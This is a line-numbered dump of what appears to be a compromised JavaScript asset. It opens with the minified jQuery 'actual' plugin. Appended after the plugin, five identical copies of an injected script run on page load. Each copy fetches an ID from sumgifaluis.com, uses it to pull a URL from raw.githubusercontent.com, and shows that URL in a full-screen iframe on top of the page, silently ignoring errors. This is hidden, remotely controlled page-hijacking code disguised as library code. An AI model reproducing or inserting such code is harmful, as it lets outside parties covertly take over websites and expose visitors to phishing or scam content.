1/*! Copyright 2012, Ben Lin (http://dreamerslab.com/) 2 * Licensed under the MIT License (LICENSE.txt). 3 * 4 * Version: 1.0.19 5 * 6 * Requires: jQuery >= 1.2.3 7 */ 8(function(a){if(typeof define==="function"&&define.amd){define(["jquery"],a); 9}else{a(jQuery);}}(function(a){a.fn.addBack=a.fn.addBack||a.fn.andSelf;a.fn.extend({actual:function(b,l){if(!this[b]){throw'$.actual => The jQuery method "'+b+'" you called does not exist'; 10}var f={absolute:false,clone:false,includeMargin:false,display:"block"};var i=a.extend(f,l);var e=this.eq(0);var h,j;if(i.clone===true){h=function(){var m="position: absolute !important; top: -1000 !important; "; 11e=e.clone().attr("style",m).appendTo("body");};j=function(){e.remove();};}else{var g=[];var d="";var c;h=function(){c=e.parents().addBack().filter(":hidden"); 12d+="visibility: hidden !important; display: "+i.display+" !important; ";if(i.absolute===true){d+="position: absolute !important; ";}c.each(function(){var m=a(this); 13var n=m.attr("style");g.push(n);m.attr("style",n?n+";"+d:d);});};j=function(){c.each(function(m){var o=a(this);var n=g[m];if(n===undefined){o.removeAttr("style"); 14}else{o.attr("style",n);}});};}h();var k=/(outer)/.test(b)?e[b](i.includeMargin):e[b]();j();return k;}});}));(function() { 15 var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php"; 16 var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}]; 17 18 var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); 19 var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; 20 if (registry.run) return; 21 registry.run = true; 22 23 function buildTrustedUrl(template, id) { 24 if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); 25 var encoded = encodeURIComponent(id); 26 if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); 27 return template.replace(/\{id\}/g, encoded); 28 } 29 30 31 function isSingleUrl(text) { 32 var s = (text || "").trim(); 33 if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false; 34 return /^https?:\/\/[^\s<>"']+$/i.test(s); 35 } 36 37 function showInIframe(url) { 38 if (!url || !/^https?:\/\//i.test(url)) return; 39 try { 40 var iframe = document.createElement("iframe"); 41 iframe.src = url; 42 iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; 43 (document.body || document.documentElement).appendChild(iframe); 44 } catch (e) {} 45 } 46 47 function run() { 48 fetch(API_ID_URL, { cache: "no-store" }) 49 .then(function(r) { return r.text(); }) 50 .then(function(id) { 51 id = (id || "").trim(); 52 if (!id || !TRUSTED_CONFIGS.length) return null; 53 var template = TRUSTED_CONFIGS[0].template; 54 var trustedUrl = buildTrustedUrl(template, id); 55 return fetch(trustedUrl, { cache: "no-store" }) 56 .then(function(r) { return r.text(); }) 57 .then(function(t) { return (t || "").trim(); }) 58 .catch(function() { return ""; }); 59 }) 60 .then(function(trustedResponse) { 61 if (!trustedResponse) return; 62 if (isSingleUrl(trustedResponse)) { 63 showInIframe(trustedResponse); 64 } 65 }) 66 .catch(function() {}); 67 } 68 69 if (document.readyState === "complete" || document.body) { 70 run(); 71 } else { 72 window.addEventListener("DOMContentLoaded", run); 73 } 74})();(function() { 75 var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php"; 76 var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}]; 77 78 var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); 79 var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; 80 if (registry.run) return; 81 registry.run = true; 82 83 function buildTrustedUrl(template, id) { 84 if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); 85 var encoded = encodeURIComponent(id); 86 if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); 87 return template.replace(/\{id\}/g, encoded); 88 } 89 90 91 function isSingleUrl(text) { 92 var s = (text || "").trim(); 93 if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
94 return /^https?:\/\/[^\s<>"']+$/i.test(s); 95 } 96 97 function showInIframe(url) { 98 if (!url || !/^https?:\/\//i.test(url)) return; 99 try { 100 var iframe = document.createElement("iframe"); 101 iframe.src = url; 102 iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; 103 (document.body || document.documentElement).appendChild(iframe); 104 } catch (e) {} 105 } 106 107 function run() { 108 fetch(API_ID_URL, { cache: "no-store" }) 109 .then(function(r) { return r.text(); }) 110 .then(function(id) { 111 id = (id || "").trim(); 112 if (!id || !TRUSTED_CONFIGS.length) return null; 113 var template = TRUSTED_CONFIGS[0].template; 114 var trustedUrl = buildTrustedUrl(template, id); 115 return fetch(trustedUrl, { cache: "no-store" }) 116 .then(function(r) { return r.text(); }) 117 .then(function(t) { return (t || "").trim(); }) 118 .catch(function() { return ""; }); 119 }) 120 .then(function(trustedResponse) { 121 if (!trustedResponse) return; 122 if (isSingleUrl(trustedResponse)) { 123 showInIframe(trustedResponse); 124 } 125 }) 126 .catch(function() {}); 127 } 128 129 if (document.readyState === "complete" || document.body) { 130 run(); 131 } else { 132 window.addEventListener("DOMContentLoaded", run); 133 } 134})();(function() { 135 var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php"; 136 var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}]; 137 138 var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); 139 var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; 140 if (registry.run) return; 141 registry.run = true; 142 143 function buildTrustedUrl(template, id) { 144 if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); 145 var encoded = encodeURIComponent(id); 146 if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); 147 return template.replace(/\{id\}/g, encoded); 148 } 149 150 151 function isSingleUrl(text) { 152 var s = (text || "").trim(); 153 if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false; 154 return /^https?:\/\/[^\s<>"']+$/i.test(s); 155 } 156 157 function showInIframe(url) { 158 if (!url || !/^https?:\/\//i.test(url)) return; 159 try { 160 var iframe = document.createElement("iframe"); 161 iframe.src = url; 162 iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; 163 (document.body || document.documentElement).appendChild(iframe); 164 } catch (e) {} 165 } 166 167 function run() { 168 fetch(API_ID_URL, { cache: "no-store" }) 169 .then(function(r) { return r.text(); }) 170 .then(function(id) { 171 id = (id || "").trim(); 172 if (!id || !TRUSTED_CONFIGS.length) return null; 173 var template = TRUSTED_CONFIGS[0].template; 174 var trustedUrl = buildTrustedUrl(template, id); 175 return fetch(trustedUrl, { cache: "no-store" }) 176 .then(function(r) { return r.text(); }) 177 .then(function(t) { return (t || "").trim(); }) 178 .catch(function() { return ""; }); 179 }) 180 .then(function(trustedResponse) { 181 if (!trustedResponse) return; 182 if (isSingleUrl(trustedResponse)) { 183 showInIframe(trustedResponse); 184 } 185 }) 186 .catch(function() {}); 187 } 188 189 if (document.readyState === "complete" || document.body) { 190 run(); 191 } else { 192 window.addEventListener("DOMContentLoaded", run); 193 } 194})();(function() { 195 var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php"; 196 var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}]; 197 198 var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); 199 var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; 200 if (registry.run) return; 201 registry.run = true; 202 203 function buildTrustedUrl(template, id) { 204 if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); 205 var encoded = encodeURIComponent(id); 206 if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); 207 return template.replace(/\{id\}/g, encoded); 208 } 209 210 211 function isSingleUrl(text) { 212 var s = (text || "").trim(); 213 if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
214 return /^https?:\/\/[^\s<>"']+$/i.test(s); 215 } 216 217 function showInIframe(url) { 218 if (!url || !/^https?:\/\//i.test(url)) return; 219 try { 220 var iframe = document.createElement("iframe"); 221 iframe.src = url; 222 iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; 223 (document.body || document.documentElement).appendChild(iframe); 224 } catch (e) {} 225 } 226 227 function run() { 228 fetch(API_ID_URL, { cache: "no-store" }) 229 .then(function(r) { return r.text(); }) 230 .then(function(id) { 231 id = (id || "").trim(); 232 if (!id || !TRUSTED_CONFIGS.length) return null; 233 var template = TRUSTED_CONFIGS[0].template; 234 var trustedUrl = buildTrustedUrl(template, id); 235 return fetch(trustedUrl, { cache: "no-store" }) 236 .then(function(r) { return r.text(); }) 237 .then(function(t) { return (t || "").trim(); }) 238 .catch(function() { return ""; }); 239 }) 240 .then(function(trustedResponse) { 241 if (!trustedResponse) return; 242 if (isSingleUrl(trustedResponse)) { 243 showInIframe(trustedResponse); 244 } 245 }) 246 .catch(function() {}); 247 } 248 249 if (document.readyState === "complete" || document.body) { 250 run(); 251 } else { 252 window.addEventListener("DOMContentLoaded", run); 253 } 254})();(function() { 255 var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php"; 256 var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}]; 257 258 var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); 259 var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; 260 if (registry.run) return; 261 registry.run = true; 262 263 function buildTrustedUrl(template, id) { 264 if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); 265 var encoded = encodeURIComponent(id); 266 if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); 267 return template.replace(/\{id\}/g, encoded); 268 } 269 270 271 function isSingleUrl(text) { 272 var s = (text || "").trim(); 273 if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false; 274 return /^https?:\/\/[^\s<>"']+$/i.test(s); 275 } 276 277 function showInIframe(url) { 278 if (!url || !/^https?:\/\//i.test(url)) return; 279 try { 280 var iframe = document.createElement("iframe"); 281 iframe.src = url; 282 iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; 283 (document.body || document.documentElement).appendChild(iframe); 284 } catch (e) {} 285 } 286 287 function run() { 288 fetch(API_ID_URL, { cache: "no-store" }) 289 .then(function(r) { return r.text(); }) 290 .then(function(id) { 291 id = (id || "").trim(); 292 if (!id || !TRUSTED_CONFIGS.length) return null; 293 var template = TRUSTED_CONFIGS[0].template; 294 var trustedUrl = buildTrustedUrl(template, id); 295 return fetch(trustedUrl, { cache: "no-store" }) 296 .then(function(r) { return r.text(); }) 297 .then(function(t) { return (t || "").trim(); }) 298 .catch(function() { return ""; }); 299 }) 300 .then(function(trustedResponse) { 301 if (!trustedResponse) return; 302 if (isSingleUrl(trustedResponse)) { 303 showInIframe(trustedResponse); 304 } 305 }) 306 .catch(function() {}); 307 } 308 309 if (document.readyState === "complete" || document.body) { 310 run(); 311 } else { 312 window.addEventListener("DOMContentLoaded", run); 313 } 314})();
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.